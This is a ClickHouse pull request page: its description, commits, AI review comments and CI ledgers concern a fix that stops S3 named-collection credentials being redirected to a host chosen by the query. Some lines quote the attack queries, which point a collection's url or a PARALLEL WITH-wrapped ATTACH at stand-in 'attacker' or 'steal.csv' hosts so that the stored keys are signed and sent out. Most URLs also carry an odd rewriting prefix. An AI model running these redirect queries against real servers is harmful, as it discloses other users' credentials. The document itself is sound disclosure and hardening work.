Repository navigation
Conversation
A named collection may store a destination together with static credentials:
CREATE NAMED COLLECTION prod_s3 AS
url = 'https://my-bucket.s3.amazonaws.com/data/',
access_key_id = '...', secret_access_key = '...';
`url` is overridable by default and nothing tied it to the sibling credential
keys, so a user holding only NAMED_COLLECTION could write
SELECT * FROM s3(prod_s3, url = 'http://elsewhere/steal.csv');
and the collection's own credentials went to a host the user chose: the
access_key_id in cleartext in the SigV4 Credential= field, plus a valid
signature over an attacker-chosen canonical request. Reading a collection's
secret values otherwise requires a separate SHOW_NAMED_COLLECTIONS_SECRETS
grant (StorageSystemNamedCollections.cpp), so this converted permission to use
a collection into disclosure of its keys.
Merged ClickHouse#106855 hardened server-managed and ambient credentials and its scoping
statement deliberately left operator-supplied static keys alone, which is what
this path uses.
S3 now calls a destination-binding validator once per seam, after the seam has
finished resolving credentials and the destination URL: when a secret still
present in the effective authentication came from the collection rather than
from the query, the request origin (scheme, host, port) must be one the
collection itself declares.
Three seams need their own call. The table function and engine path covers
s3(), the S3 engine, S3Queue and the S3 data lakes. Backups need their own
because BackupInfo hand-copies the NAMED_COLLECTION permission check rather
than going through findOverrideForbiddingKey. DatabaseS3::parseArguments needs
its own because getTableImpl rebuilds positional s3(url, key, secret)
arguments which reach fromAST, by which point the collection and its per-key
override provenance are gone. The rule is deliberately not placed in the
shared findOverrideForbiddingKey seam: BackupInfo bypasses it, and a global
key table is incomplete by construction.
Both authentication layers are classified separately, since no_sign_request
suppresses SigV4 only while a gcp_oauth HTTP client sends an Authorization
bearer header regardless. The binding releases only on complete replacement of
a family's secret inputs: S3 clears an inherited session_token only when both
static keys were overridden, so a query overriding access_key_id alone leaves
the stored secret_access_key signing.
Comparing origins rather than refusing every url override is what makes this
backward compatible. Re-pointing the path of a credentialed collection is the
feature's most common legitimate use: the stateless suite alone holds 319 such
override sites, every one of them staying within the collection's own origin.
A relative stored url declares no origin at all, which is the shape
StorageObjectStorageConfiguration::initialize persists when s3_base resolution
is materialized back into the engine args, so those tables still attach after
DETACH with no s3_base set.
The rule covers both SQL-defined and config-defined collections, unlike NATS,
which restricts its own rule to SourceId::CONFIG. The privilege boundary is
identical for a SQL collection: a NAMED_COLLECTION grantee still cannot read
its values without SHOW_NAMED_COLLECTIONS_SECRETS.
Scope is S3. Azure, Web with headers, MySQL, PostgreSQL, MongoDB, Redis,
ArrowFlight, YTsaurus and Kafka share the pattern with different
effective-credential semantics and are not covered here. Flipping the
allow_named_collection_override_by_default default and re-validating
RemoteHostFilter against the post-override host are both out of scope.
No setting default changes, so there is no SettingsChangesHistory.cpp entry.
The check keyed on `url` having been overridden, which left three ways past it. A collection that stores credentials but no `url` had no recorded before-value, so the guard returned with the stored keys still attached and the credential was sent to a query-chosen host; a `filename` override reaches the same destination by a different key. The authorised destination is now derived from the collection's own definition whether or not an override happened, and a collection that names no destination authorises none. Under `gcp_oauth` the stored AWS keys are inert: `getCredentialsProvider` installs an anonymous provider and skips the STS wrapper on that value. The provenance test now returns the GCP verdict instead of falling through to those keys, so a query supplying a complete ADC triple is no longer refused. This matches `hasEffectiveCredentials()`, which already returned at that branch. Restoring a lightweight snapshot builds a second reader for an endpoint read from the backup's own metadata header. It carried the collection's credentials with no destination check, so it is checked too. The compatibility arms of the test asserted only the absence of the refusal, which reports success on any downstream failure and cannot detect an over-broad check. They now assert a row read back from the collection's own origin, or, where an arm's credentials cannot read anywhere, that a request was issued. Verified by making the refusal unconditional: every such arm then fails.
The destination-binding check treated a definition read back from metadata exactly like a fresh query. A table or database persisted before the check existed, whose stored DDL sends a credentialed collection's keys to an origin the collection does not declare, therefore failed to load after upgrade, and for ENGINE = S3 that stops the server rather than leaving one table unreadable. Thread the loading mode to the validator, assigned before initialize() parses the definition. A short ATTACH replays a stored statement verbatim at strictness ATTACH, so isLoadingFromExistingMetadata alone is too narrow; pair it with attach_short_syntax as StorageBuffer and StorageDistributed do, and use internal && mode >= ATTACH for the database seam as registerDatabaseDataLake does. A replayed definition is logged and allowed, matching getClient and DatabaseDataLake::initializeOrLeaveUnavailable, under the same server setting s3_load_table_anonymously_if_credentials_restricted. The backup seams pass false explicitly: a BACKUP or RESTORE statement names its own destination. Also disclose in the changelog that a collection storing credentials but no url now authorises no destination, which refuses ENGINE = S3(collection) on one. That shape previously worked and sent the stored keys to a query-named origin. Re-oracle the no_sign_request arm of the regression test. It accepted any S3-level outcome, but those stored keys are valid for the collection's own origin, so a silently re-enabled signature would have read the row and stayed green. It now captures the request and asserts the key is absent from the bytes, with a signing control proving the capture can see a key at all.
…the log The replay exemption keyed on a predicate narrower than its own principle: a definition read back from storage was not chosen by whoever loads it, yet only FORCE_ATTACH/FORCE_RESTORE and a short ATTACH were recognised. RESTORE of a table and Replicated-database lost-replica recovery both re-run a stored CREATE at SECONDARY_CREATE, which is neither, so a pre-existing cross-origin definition made the restore fail and stopped a recovering replica from rejoining. Both routes carry their own discriminator, and registerStorageMergeTree already consumes the same trio for the same reason. The warning on that path formatted the stored and effective urls verbatim. Poco keeps userinfo and the query string, so a `user:pass@host` or presigned collection url wrote its secret to the server log, which sits below the SHOW_NAMED_COLLECTIONS_SECRETS grant that reading the collection needs. It now names the authorised origin, which cannot carry either, and masks the destination with the pair FunctionSecretArgumentsFinder applies. The lightweight-snapshot reader takes its destination from the backup's own metadata header, so it is a replay as well, as its own comment already said. Measured: the DatabaseS3 seam has no equivalent hole. Its startup route loads at FORCE_ATTACH with internal set, and its RESTORE route cannot reach the check at all because getCreateDatabaseQuery rewrites the collection reference into positional arguments before the backup captures it.
… endpoint The lightweight-snapshot reader takes its endpoint from the backup file's own header, so it is untrusted input rather than a definition this server had already accepted. Marking it as a metadata replay turned the check that exists to cover that reader into a log line under a server setting that defaults to on: a wrong value there would send a collection's own access key, and a signature over an attacker-chosen request, to a host named by a user-supplied file. The four predicates that mark a genuine replay had no coverage that re-runs. They are only reachable across a server restart or a Replicated database building a replica from Keeper metadata, so they get one integration test rather than a stateless one. Each was proved live by removing it and observing which single assertion fails: the database predicate stops the server from starting, the storage one blocks a recovering replica, the queue one leaves one table unloadable. A fresh cross-origin query stays refused in every case, so the exemption cannot be widened into a general amnesty without the test noticing. The warning that reports a replay redacts two independent values, and the existing arm exercised only one of them; the second arm puts the credential in the effective url instead of the stored one.
The flag marks a definition as replayed from this server's own metadata, which storage and database creators read to skip validation that only a freshly supplied definition needs. It has no parser writer and no formatter emitter, so it is purely interpreter-derived and no SQL query can produce it: a genuine short `ATTACH TABLE t` is re-derived from the query's own shape after deserialization. The `clickhouse_json` dialect nevertheless read it straight off the wire, and the pre-existing rejection was scoped `if (!attach)`, so an `ATTACH TABLE ... ENGINE = S3(...)` carried a forged flag past it. Rejecting the flag on every payload narrows JSON expressiveness to exactly SQL expressiveness, so it cannot break a round-trip, and it closes the forgery for every consumer of the field rather than one. Its three siblings in the same guard block are parser-settable, which is why they keep the `!attach` scoping. With the flag no longer forgeable, `registerDatabaseS3` can key its replay predicate on it as the storage creators and `DatabaseBackup` already do, so a short `ATTACH DATABASE d` loads a stored statement while `ATTACH DATABASE d ENGINE = S3(...)` stays fail-closed. Co-Authored-By: Claude Fable 5 <[email protected]>
Internal second-model review — 6 fix rounds, published at the round cap with two known gapsAn independent model reviewed this diff cold at every round; I adjudicated its findings against the Two gaps I could not close here, both now stated in the description rather than papered over: ❌ A stored ❌ Under the non-default Both are tracked and will be fixed separately. I chose to publish with the promise narrowed rather
💡 Three comment-accuracy nits: the Overlap with #114171. That PR (open, not merged) hardens the same |
|
Workflow [PR], commit [4cd1dcc] Summary: ❌
AI ReviewSummaryThis PR hardens S3 named collections by binding collection-supplied credentials to the origin declared by the collection and fixes the Findings
Tests
Final VerdictLLVM Coverage ReportMeasured on commit 4cd1dcc.
Changed lines: Changed C/C++ lines covered: 191/205 (93.17%) · Uncovered code |
Pre-PR validation gate (click to expand)
Session id: cron:clickhouse-impl-slot-40:20260824-103002 |
|
cc @alesapin @SmitaRKulkarni, could you review this? A named collection's stored S3 credentials were not tied to the destination it declares, so overriding just |
The `catch (...)` around the `S3::URI` construction in `declaredOrigin` exists so that a value `S3::URI` rejects is retried with a plain `Poco::URI`; the handler branches on whether the parse succeeded and never inspects the exception. `check_catch_all` cannot see that distinction and reported the handler as silently swallowing, so state the invariant in an `Ok` comment, which is the suppression form the checker documents and the dominant in-tree idiom for it. Comment only: stripping comments and whitespace from the file before and after this change yields the same digest, so no code token moved.
The header said a collection with no origin, including a relative url whose origin comes from s3_base, "authorises none". The validator instead returns early when declaredOrigin() yields nullopt, so those collections are not bound at all. Since this helper is the source of truth for the invariant, a reader trusting the old wording would conclude s3_base-backed collections are covered. Measured on a local server with a capture listener at the redirected origin: on a collection storing credentials with a relative url, the stored key is signed and sent to an attacker-chosen host both via a url override and, more directly, with no url override at all, because s3_base is itself a query-level setting. Deriving the authorised origin from s3_base does not fix that. Built as a probe: it closes the url-override arm and leaves the no-override arm leaking 21 of 21 signed requests, because the effective url is already resolved against the same setting, so the comparison reads one user-supplied value on both sides. A real fix needs an origin the query cannot set, which is a design change. Refusing the unbound case instead would break compatibility: 16 of the 24 test collections declaring a url use a relative one, two of them with stored credentials (04626_s3_base_setting.sh, 04070_url_base_setting.sh). Comment only, no behaviour change. The changelog gains the same qualification.
Build profile diff (arm_release)Comparing ✅ No significant changes. Binary sizes
Only the stripped binary is compared: the official master build keeps debug symbols while PR builds strip them, so the other binaries differ by construction. Object file sizes38 object files changed (+67.18 KiB total), 0 added.
737 more object files are built by the master warmup baseline only (it builds every object-file target, a pull request build only Compile time of recompiled translation units166 translation units recompiled, 1429 s compile time in total, 166 of them have a recent master baseline. |
…f_credentials_restricted The setting's description covered only the case it was written for: a stored definition resolving the server's own ambient credentials, which is loaded without them, with an anonymous client, leaving the object inaccessible. This branch also consults the setting at Storages/ObjectStorage/S3/Configuration.cpp:282 for a different case, with a different effect. There the credential is the named collection's own stored key being sent to a destination the collection does not authorise, so there is no ambient identity to drop: the object keeps loading with that key and the destination is only logged as a warning. Reached with is_metadata_replay from three seams (registerStorageObjectStorage.cpp:58, registerQueueStorage.cpp:56, DatabaseS3.cpp:364), so it covers the S3 and S3Queue engines, the S3-backed lake engines and the S3 database; the two backup seams pass false by design and throw instead. An operator reading the generated docs would otherwise conclude that enabling the setting drops the credential in this case too, which it does not. The generated pages are produced by the nightly docs-autogen bot and ci/jobs/docs_job_mintlify.py rejects direct edits to a generated region, so this source string is the only place to change.
…emption hole it exposed
The flaky check failed the new test with "Test runs too long (> 180s)" on
amd_msan (195-216s), amd_tsan (183-189s) and amd_asan_ubsan (299-321s).
Attribution is direct: the test is added by this pull request, absent from
master, and every one of its 72 CIDB failure rows in 30 days is on this pull
request.
The cost is process startup, not query work. The test spawned 126
clickhouse-client processes; a timing shim measured 21.7s of the 26.0s debug wall
clock inside the client, 16.4s of it the startup floor. That floor is 0.13s per
process on debug and 0.92s on ASAN, so those spawns account for 116s of the
141.7s ASAN client time. No single query is hot: the slowest is 2.09s and the top
twelve all sit between 1.45s and 2.09s. There was nothing to speed up, only
something to stop doing 126 times.
So batch the statements whose position does not matter - collection and table
fixtures, the log-masking prologues, SYSTEM FLUSH LOGS, the trailing cleanup -
into single invocations. Every assertion arm keeps an invocation of its own: an
arm's stdout is its oracle, and a multi-statement query stops at the first error,
which is what the refusal arms read. Order is preserved where it carries
meaning, in particular CREATE TABLE before ALTER NAMED COLLECTION SET
access_key_id, the upgrade shape the compatibility arms exercise. 126
invocations become 25; debug wall clock goes 26.11s to 9.01s.
The long tag was rejected rather than overlooked: it exempts the cap but drops
the test from Fast test and cuts flaky-check repeats to about a tenth, and
no-flaky-check disables the only mode that enforces the ceiling. Both discard
coverage on a security test to silence a measurement whose subject is removable
work.
Verifying that the faster test can still fail turned up a real hole in the
compatibility exemption this pull request adds. It classified a definition as a
stored-metadata replay when args.internal was set and the mode was at least
ATTACH, and a user query can satisfy both: PARALLEL WITH executes its children
with QueryFlags{.internal = true} and the parser accepts the clause after any
statement, so
ATTACH DATABASE d ENGINE = S3(coll, url = 'http://attacker/')
PARALLEL WITH CREATE DATABASE sink ENGINE = Memory
reached the exemption. Unwrapped that statement is refused with "Override not
allowed for 'url'". Wrapped, it was accepted, the database was created with the
foreign origin stored, and touching it signed a request with the collection's own
key: a capture listener recorded 682 bytes carrying
"Credential=AKIAIOSFODNN7EXAMPLE/.../s3/aws4_request" on a HEAD request.
A probe compiled into the classifier shows why those fields cannot separate the
cases. A genuine startup replay presents internal=true, mode=2,
attach_short_syntax=false; a plain fresh ATTACH presents false, 2, false; the
wrapped one presents true, 2, false, identical to the replay. internal means "not
issued directly by the user", which is weaker than "this definition already
exists on disk", and only the latter earns more trust than a fresh query gets.
So read a marker only the startup path sets.
InterpreterCreateQuery::load_database_without_tables has exactly one setter in
the tree, in loadMetadata.cpp, and no SQL reaches it. Carry it to the database
factory as Arguments::loading_stored_metadata and have DatabaseS3 read that. The
two other factories testing args.internal are left alone: they are outside this
pull request and decide something else.
Both directions verified on one build. The wrapped attach is refused and no
database is created, while four cross-origin databases stored before the change
still load on restart, so the compatibility path still works. The regression arm
asserts the refusal and that nothing was created, the second being load-bearing
because the refusal precedes creation; reverting the classifier to args.internal
flips exactly those two reference lines and nothing else. Two further mutants
confirm the batched test still fails when it should: disabling the refusal
diverges at line 2 on the oracle rather than on a timeout, and disabling the
replay exemption flips the compatibility arms and all three text_log warning
arms, which are the blocks whose fixtures moved.
Flaky-check timeout fixed, and a hole it exposed in this PR's own compatibility path
The failure. Three Cost was process startup, not query work. A timing shim measured 126 Batched the statements whose position does not matter; every assertion arm keeps its own invocation, I did not use Checking the faster test could still fail turned up a real hole in this PR. The compatibility ATTACH DATABASE d ENGINE = S3(coll, url = 'http://attacker/')
PARALLEL WITH CREATE DATABASE sink ENGINE = MemoryUnwrapped, that is refused with A probe in the classifier shows why those fields cannot separate the cases. Startup replay presents Fix: read Both directions on one build: the wrapped attach is refused and no database is created, while four Known gaps, unchanged. The liveness gaps disclosed at publication still stand, plus per-component Squashed to one commit; the branch had grown past ten. |
At 40baa85 the flaky check still failed the new test with "Test runs too long (> 180s)" on amd_asan_ubsan, 6 of 7 runs at 180.5-201.3s, while the other four sanitizer legs passed 50/50 at 82-88s. Two things cost the time. Process startup: the test started 63 processes per run, 11 of them clickhouse extract-from-config issued by shell_config.sh, so 52 were its own client invocations, and an ASAN client start costs about 0.46s solo and close to 2.2s under that job's load. The assertion arms are now queued and run as one multi-statement invocation delimited by a marker, with --ignore-error so a failing statement reports inline instead of ending the invocation, and each arm's classifier reads only its own slice. That takes the test to 28 process starts. One arm: in all 9 runs the leg's query_log holds, the slowest statement is the role_arn arm against 127.0.0.1:11112, from 1.60s to 16.07s and 64.79s in total, which is 20.4% of all server-side time and the largest source of run-to-run variance. Nothing serves that object and s3_retry_attempts defaults to 500, so the request retries until it gives up. The two sibling arms in the same test already cap it and land at 0.60s and 1.97s in those same runs, so this arm now carries the same cap. That arm's oracle could not fail: it matched the needle "role" against the client's output, and the client echoes the failing statement, so "role_arn = ..." in the statement text always matched. It now needles S3_ERROR, which is what the query_log records for that arm in 9 of 9 runs and which cannot occur in the statement text. And because batching merges the error stream in for the refusal arms to read, a failing statement's message is kept out of the asserted output: clickhouse-test fails any test whose stdout holds the word Exception. With an ASAN client, wall clock goes from 34.0s to 17.4s and time inside the client from 30.8s to 14.1s. Through the real runner with randomization on, 12 runs each, the head version has a median of 12.91s and this one 7.65s, both 12/12 passing; scaling the worst CI run by that ratio gives about 103s. Detection is unchanged: reverting the replay-exemption fix this pull request adds makes the head version and this one produce byte-identical failures, exactly the two reference lines for the PARALLEL WITH arm. Co-Authored-By: Claude Opus 5 <[email protected]>
Flaky-check residual on
|
hasCollectionDerivedSecret counted every non-empty stored auth field, including two
that the mechanism which will actually authenticate the request never reads:
- external_id is handed only to the STS assume-role wrapper, and
S3::getCredentialsProvider builds that wrapper only for a non-empty role_arn
(src/IO/S3/Credentials.cpp:1467-1480). With no role to assume, a stored
external_id reaches nothing.
- under gcp_oauth, PocoHTTPClientGCPOAuth::requestBearerToken returns from
requestBearerTokenFromADC as soon as the ADC triple is complete, without reading
service_account / metadata_service / request_token_path
(src/IO/S3/PocoHTTPClient.cpp:878-885).
So a query that replaced the whole credential was still refused cross-origin on the
strength of a value nothing sends, which contradicts the compatibility contract that
supplying your own credentials releases the binding. The function already models the
mechanism in two places (the no_sign_request short-circuit and the gcp_oauth branch);
this completes it for the two conditionally-consumed groups.
Every refusal the check made for a field the winning mechanism does read is unchanged:
each group is now conjoined with the same condition its consumer gates on, so a
surviving role_arn still binds a stored external_id, and an incomplete ADC triple still
binds the stored metadata-service fields.
Four arms in 04627 pin both directions. Against the pre-fix binary the two release arms
report NOT-READ and refused; with the fix they report payload and allowed. Deleting both
guarded groups flips exactly the two control arms to allowed and nothing else, so
neither control is vacuous.
… grandfathered `validateS3CollectionDestinationBinding` lets a definition read back from stored metadata keep a credential the collection does not authorise for that destination, because refusing one would stop the server from starting. What that grandfathers is the single destination the stored statement names. `DatabaseS3` has no such destination when the collection declares no url: `getFullUrl` returns the queried table name verbatim, so every lookup picks its own. A database created before this rule from a credentials-only collection therefore went on sending those credentials wherever a later query pointed. Measured on the previous head: after the stored definition replays, a SigV4 request signed with the collection's access key reaches a listener on another origin. The fresh `CREATE DATABASE` of that shape is already refused, so the exemption was the way back in. The validator now reports whether it granted the exemption, and the database engine loads anonymously in that case - which is what `s3_load_table_anonymously_if_credentials_restricted` grants everywhere else, `S3::getCredentialsProvider` installing an anonymous provider on the same setting. The server still starts and the definition still loads; only the credential is dropped. A database whose stored statement does pin a url prefix keeps its credentials: the origin is fixed there, and four escape attempts through the table name never leave it. Reported by clickhouse-gh[bot] on the pull request.
CI finish ledger - 9dd6a67Every failure below has an owner: a fixing PR (ours or external), or a full-effort fix task
Not PR-caused: the job ran zero steps, so this change cannot have reached it. The run is also not Note for anyone with the rights: because a cancelled job makes the whole run Session id: cron:our-pr-ci-monitor:20260826-203000 |
|
Fixing PR for the It fixes the scoring only. GitHub reports an undocumented It does not make the job run and deliberately does not unblock the merge: a dropped check still |
Two files conflicted, both in the AST JSON boundary, and both are resolved to
master's side because master's check strictly subsumes this branch's.
master rejects the presence of the `attach_short_syntax` key
(`if (r.has("attach_short_syntax"))`) and no longer writes the field in
`writeJSON` at all, while this branch rejected only the value `true`. Every
payload this branch refused is refused by master, so keeping this side would
have replaced a stronger check with a weaker one. `04494`'s injection anchor
moved with it: master keys on the neighbouring `"replace_table":false`, because
the field it used to replace is no longer emitted. The `.reference` row and the
`ATTACH TABLE t` round trip added here belong to that same superseded arm and
are dropped with it, so this branch no longer touches the AST JSON boundary.
The credential-binding carriers are untouched by master and remain the whole
change: `hasEffectiveCredentials`, `hasCollectionDerivedSecret` and the
`loading_stored_metadata` argument are absent from master.
`writeJSON` no longer emits `attach_short_syntax`, so replacing its `false` value left the payload without the field and the arm asserted nothing. Insert it before `replace_table`, the key that follows it, and match the refusal that the boundary now reports.
`hasCollectionDerivedSecret` counted a stored `access_key_id`, `secret_access_key` or `session_token` on its own as a credential the destination has to authorise. SigV4 needs both halves of the pair, and the session token is read only alongside them, so a lone half authenticates nothing: measured against a capture listener, an `access_key_id`-only, `secret_access_key`-only and `session_token`-only collection each issue the request anonymously and none of the three values appears on the wire, while a complete pair puts its key id in the `Authorization` header. Such a collection was therefore refused a `url` override that leaked nothing, which is a refusal this fix should not add. Gate the three static components on a complete effective pair; `role_arn` keeps its own leg, since the STS wrapper reads it without them. A query that completes the pair still binds, because the pair is read after the override and one half is still the collection's: the existing partial-replacement case covers that and stays refused.
`args.internal` is true for any statement the server runs on its own behalf,
including a user's own statement wrapped in `PARALLEL WITH`
(`InterpreterParallelWithQuery::executeSubquery` passes `QueryFlags{.internal = true}`).
A user `ATTACH DATABASE` supplies mode `ATTACH`, so the three external database creators
that exempted `args.internal && args.mode >= ATTACH` from their validation treated a
wrapped user statement as a metadata replay.
For both PostgreSQL engines that exemption skips `remote_url_allow_hosts`. Measured on a
server whitelisting one host: a bare
`ATTACH DATABASE d ENGINE = PostgreSQL('<blocked>:5432', ...)` is rejected with
`UNACCEPTABLE_URL`, while the same statement followed by
`PARALLEL WITH CREATE DATABASE sink ENGINE = Memory` was accepted. With the host taken
from the query and the credentials from a named collection, the collection's stored
password arrived at the blocked host in cleartext. The same statement as `CREATE DATABASE`
stays rejected, which isolates the `mode >= ATTACH` leg rather than `PARALLEL WITH`
disabling checks generally.
`loading_stored_metadata` is set only by `loadMetadata.cpp`, the startup metadata loader,
so it marks exactly the case these exemptions exist for. `RESTORE DATABASE` is unaffected:
it creates databases at mode `CREATE` and so never took the exemption (measured: restoring
a database whose host left the whitelist is rejected both before and after this change).
Verified both directions with asserted Build-IDs (base cbfdf202, fix 1496e82f): the three
wrapped arms flip from accepted to `UNACCEPTABLE_URL` with no password reaching the
listener, the bare arms and a whitelisted host are unchanged, and the stored
blocked-host databases still load across a restart.
Also correct one sentence in `hasCollectionDerivedSecret`: it grouped
`use_environment_credentials` with keys that `optional_configuration_keys` does not accept,
when that key is accepted and excluded for a different reason.
Reported by the automated reviewer on ClickHouse#116260.
Co-Authored-By: Claude Opus 5 <[email protected]>
| /// replay of the stored definition as a metadata load so a now-restricted catalog is left unavailable | ||
| /// instead of aborting startup; a user `ATTACH DATABASE` stays fail-closed and is rejected. | ||
| const bool is_loading_from_existing_metadata | ||
| = args.loading_stored_metadata && args.mode >= LoadingStrictnessLevel::ATTACH; |
There was a problem hiding this comment.
is_loading_from_existing_metadata is narrowed correctly here, but the fresh-query path still is not fail-closed for DataLakeCatalog: lazy_init below stays true for every ATTACH DATABASE and every PARALLEL WITH child (args.create_query.attach || args.internal), and the constructor only calls initializeOrLeaveUnavailable() when lazy_init is false (src/Databases/DataLake/DatabaseDataLake.cpp:191-198).
That means ATTACH DATABASE ... ENGINE = DataLakeCatalog(...) can persist a blocked or unauthorized catalog definition without ever running the host-filter / credential validation on attach; the error is only deferred until first use. If the intent is that user ATTACH DATABASE remains a fresh definition and gets rejected, this needs an explicit replay / restore signal instead of attach || internal.
There was a problem hiding this comment.
Measured this one: it is the DataLakeCatalog site I flagged as unmeasured in the round above.
Both citations hold at 4cd1dcc4, and neither line is mine. lazy_init is byte-identical on master, where || args.internal comes from #109724 ("lazy init for internal create"), reason in the two comment lines above it.
What I disagree with is that this leaves the host filter or the credential check unrun. Both are on the request path, not on attach: createReadBuffer passes withHostFilter(&getRemoteHostFilter()), and the OAuth token, refresh token and metadata paths call checkHostAndPort directly. Deferring construction moves the error, it does not drop a guard.
Server with one whitelisted host; a REST catalog listener on a second, blocked port logging accepted connections and request bodies; catalog_credential carrying a secret:
| arm | result | requests to the blocked host |
|---|---|---|
CREATE DATABASE ... DataLakeCatalog('http://blocked/v1') |
Code: 491 |
0 |
ATTACH DATABASE, same engine |
accepted, persisted, survives a restart | 0 |
| first use of it, before and after a restart | Code: 491 |
0 |
CREATE ... PARALLEL WITH CREATE DATABASE sink ENGINE = Memory |
accepted | 0 |
| first use of that one | Code: 491 |
0 |
Zero accepted connections as well, in every arm. The same listener on the whitelisted port took 4 connections and 4 requests carrying the secret in cleartext, so it can see both. The deferral is observed rather than assumed: against the allowed host the unwrapped CREATE issues its catalog requests at DDL time, the identical statement inside PARALLEL WITH issues none then and all of them at first use.
I built the remedy in both readings before declining it.
Dropping only the internal term: RESTORE DATABASE of a lake database whose catalog is unreachable goes from RESTORED to Code: 1000 Connection refused, nothing restored; with the catalog reachable it restores and does the catalog I/O itself, so that path is now eager. Restore takes the exemption through internal and not through attach, which is measurable: the gate !args.create_query.attach && !allow_experimental_database_iceberg fires on the restore path.
Replay signal alone, which is what the last paragraph asks for: it does deliver the rejection, ATTACH of a blocked catalog is Code: 491 and nothing persists. It also makes DETACH DATABASE followed by ATTACH DATABASE of a working database fail with Connection refused while its catalog is briefly down, leaving it detached until the catalog comes back. Startup replay stays lazy under both, so neither breaks startup.
A correct version therefore needs a restore signal beside the replay one, and it trades DDL-time catalog reachability for an earlier error message without changing what a blocked host receives. That is a behaviour decision for the engine owners, so I am leaving lazy_init as it is.
CI finish ledger -
|
| Check / test | Reason | Owner / fixing PR |
|---|---|---|
Stress test (amd_debug) / Logical error: 'Inconsistent AST formatting' (STID 1941-26fa) |
trunk parser/formatter defect surfaced by the server-side AST fuzzer, not this PR | #116645 (mine, open) |
CH Inc sync |
still running | CH Inc sync (private, not actionable by me) |
Not caused by this PR. The failing statement is
CREATE TABLE test_7.test_cluster__fuzz_4 (`json` JSON(max_dynamic_paths = 8768), `d` UInt64)
AS cluster('test_cluster_one_shard_three_replicas_localhost', 'test_7', 'test')
PRIMARY KEY tuple(d)which the formatter re-emits with the table-level PRIMARY KEY tuple(d) collapsed into an inline
column attribute (`d` UInt64 PRIMARY KEY) and the trailing clause dropped, so the query does not
round-trip. That is the PRIMARY KEY tuple() hoist defect: ParserCreateQuery.cpp normalizes a
column-list primary key into a synthesized ASTStorage without checking as_table_function, so
ASTCreateQuery::formatImpl prints the storage after AS <table function> where the grammar has no
production for it. Breadth over 30 days is 104 rows across 74 distinct PRs plus 3 true-master rows,
so it is never PR-caused, and this PR touches 21 files, none of them a parser, AST or formatter file.
#116645 fixes it by rejecting the combination at parse time.
Session id: cron:our-pr-ci-monitor:20260827-230000
Related: #106855 (this is that PR's residual scope; no open issue)
Changelog category (leave one):
Changelog entry (a user-readable short description of the changes that goes into CHANGELOG.md):
A query that overrides the
urlof an S3 named collection can no longer redirect the collection's own stored credentials to a different origin. Overridingurlwithin that origin keeps working, as does overriding it when the collection stores no credential that can authenticate anywhere (half a key pair signs nothing), marks itsurlOVERRIDABLE, or the query supplies its own credentials. A collection storing credentials but nourlnow authorises no destination, soENGINE = S3(collection)on one is refused; a table persisted earlier still loads with a warning, while a database persisted earlier loads anonymously, because there each table name picks its own destination. A collection whose storedurlis relative is unchanged: its origin comes from the query-levels3_basesetting. Applies to thes3table function, theS3/S3Queueand S3-backed lake engines,S3backups and theS3database. Also, aPARALLEL WITH-wrappedATTACH DATABASEno longer bypassesremote_url_allow_hostsin thePostgreSQLandMaterializedPostgreSQLdatabase engines.Description
urlis overridable by default and nothing tied it to a collection's credential keys, so a user holdingonly
NAMED_COLLECTIONcould writeSELECT * FROM s3(prod_s3, url = 'http://elsewhere/...'): thedestination moved, the stored credentials stayed attached, and SigV4 signed for the new host. Reading
those secrets needs
SHOW_NAMED_COLLECTIONS_SECRETS, so this turned permission to use a collectioninto disclosure of its keys.
S3 now validates at each of the three seams that build a client from a collection: a secret that came
from the collection rather than the query may only travel to an origin (scheme, host, port) the
collection declares, across both auth layers. Comparing origins rather than refusing every override
keeps it compatible: the suite overrides
urlat 21 sites, all within their own origin. A grandfatheredS3database with nourlprefix loads anonymously: its table names are full URLs, so no singledestination exists.
The same mismarking reached another engine. Three external database creators keyed their
replay exemption on
args.internal, whichPARALLEL WITHalso sets for a user's own statement, so awrapped
ATTACH DATABASElooked like a metadata replay, which for both PostgreSQL engines skippedremote_url_allow_hostsand sent a collection's stored password to the forbidden host in cleartext.Those sites now read
loading_stored_metadata, set only by the startup loader;RESTORE DATABASEcreates at mode
CREATEand never took the exemption.Known gaps. A relative stored
url, or one no URL parser accepts (a literal%not followed by twohex digits, as in
50%off.csv), declares no origin, so a collection storing credentials with one staysunbound: deriving an origin from
s3_basewould compare two user-supplied values, and refusingwould break most existing collections. Under the non-default
compatibility_s3_presigned_url_query_in_path = 1the replay warning leaves the firstX-Amz-*valueunmasked in the log. Non-S3 collection families are out of scope.
Workflow [PR]
Sync PR [sync-upstream/pr/116260]